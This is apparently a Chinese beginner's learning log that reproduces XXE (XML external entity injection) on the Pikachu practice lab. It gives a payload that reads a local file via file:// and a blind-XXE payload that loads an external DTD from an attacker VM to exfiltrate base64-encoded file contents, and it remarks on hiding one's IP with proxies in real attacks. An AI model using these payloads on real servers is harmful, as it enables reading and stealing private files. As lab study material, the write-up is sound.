警告
新手学习日志,如有出现错误请多多包涵╰(*°▽°*)╯
1.初步认识XML
想要对XXE漏洞进行了解,也就必须对XML有所了解,经过一段时间的学习,我们可以知道,一个合法且正常的xml主要包括三个部分:一个xml声明,文档类型定义和文档元素,如下图所示:
xml主要聚焦于数据,其内容可视为数据库内容的行和列的那种模式,如下图:
表相当于声明了一个类型为表,右边的字段定义相当于文档类型的定义,下面的数据相当于文档元素,这样进行对比就可以方便我们的理解 ;
然后就是在xml的DTD(文档类型定义)中经常看到的三个实体:
第一个是预定义实体,我的理解就是用一串字符来代替在xml中已经被定义过作用的某些符号;
第二个是自定义实体,也就是通过在DTD(文档类型定义)中通过一定的语法来使用自己定义的某些实体;
第三个是参数实体,也是在本文后面发挥重要作用的一个实体,它是只能在DTD中使用的实体,它的作用是能够调用外部的DTD文件,这个特性使得使用它变得更加的灵活,比如你新建一个xml依然想用到这个参数实体,你只需利用一小段代码进行引入就可以做到,不用像自定义实体一样重新从头一句句的写;
2.初识XXE漏洞
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
下面我们通过pikachu上的靶场来重现这一漏洞。
首先安装好需要的靶场,准备进行漏洞重现。
在桌面上创建一个文本文档,输入内容如下:
随后准备一段脚本 ,如下:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C://Users//ASUS//Desktop//kunkun.txt">
]>
<foo>&xxe;</foo>
这段脚本的意思是读取我桌面上kunkun文件的内容写入自定义实体xxe中,然后进行输出。
我们把这段代码输入进去随后点击提交,结果如右图所示,我们成功读取了文本中的信息。
这是如何做到的呢?这是由于没有禁用外部实体的加载,从而导致黑客可以通过使用外部实体进行代码的运行从而读取你服务器上的文件。有人会问那我如何知道我想读取的文件的名字到底是什么呢,这就要用到信息收集相关的知识了,通过前期的信息收集,我们就可以对我们想要的目标进行定点攻击。
这个脚本稍作修改也能进行内网探测,不过太过于鸡肋基本没人会用就不写了(❁´◡`❁)
3.进一步了解XXE漏洞
3.1 什么是无回显
在进行下一步之前,我们要先了解什么是“无回显”这个概念,通俗易懂的讲,就是无论你的代码执行成功或者是失败,都不给你进行反馈,让你无法判断自己到底有没有成功,我们在下文就要通过一定的手段来解决这个问题。
3.2 无回显XXE漏洞测试
首先我们对代码进行注释来创建一个无回显的环境,如下图:
然后我们启动我们的虚拟机作为攻击端,在虚拟机的phpstudy中写入一个脚本如下:
这段代码的意思就是接受一个文件“FILE”,然后写入file.txt的文件中,然后关闭,下面我们来测试一下有没有作用:
我们可以看到已经成功执行了代码,在我的虚拟机(IP:192.168.189.129)中自动创建了一个file.txt接受了我的数据。,我们接下来进行下一步。
我们先再被攻击者,也就是本机上创建一个1.txt的文件,文件内容如下:
然后我们首先在虚拟机中创建一个名字叫kk.dtd的外部实体写入代码如下:
其中IP地址为getikun所在的虚拟机地址,第一行为你想要获取的1.TXT的被攻击者的文档地址。
然后编写攻击脚本如下:
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.189.129/kk.dtd">
%dtd;]>
其中地址为虚拟机也就是攻击者的地址(实战中可以通过代理进行IP隐藏,防止自身IP泄露)。
写入PIKACHU
我们可以发现输入完成后什么反馈都没有,此时就轮到我们之前编写的获取脚本发挥作用的时候了。我们查看虚拟机上获取到的file.txt,发现如下图所示:
发现了一串我们看不懂的代码,这是啥呢(ˉ﹃ˉ)
其实这是一串base64的代码,我们在之前指定了用base64的值进行读取,如下图红圈所示:
我们随后对其进行解码:
发现被攻击者的文本信息已经泄露给了攻击者,漏洞复现成功。
4.总结
这是一个复现还算比较简单的漏洞,就是过程比较复杂。对于这个漏洞的防御也是比较简单,只要禁止外部实体就可以了。这篇文章是本人第一篇学习日志,如果出现了哪些出错的地方,可以评论区留言,我看到就改(可能吧(❁´◡`❁))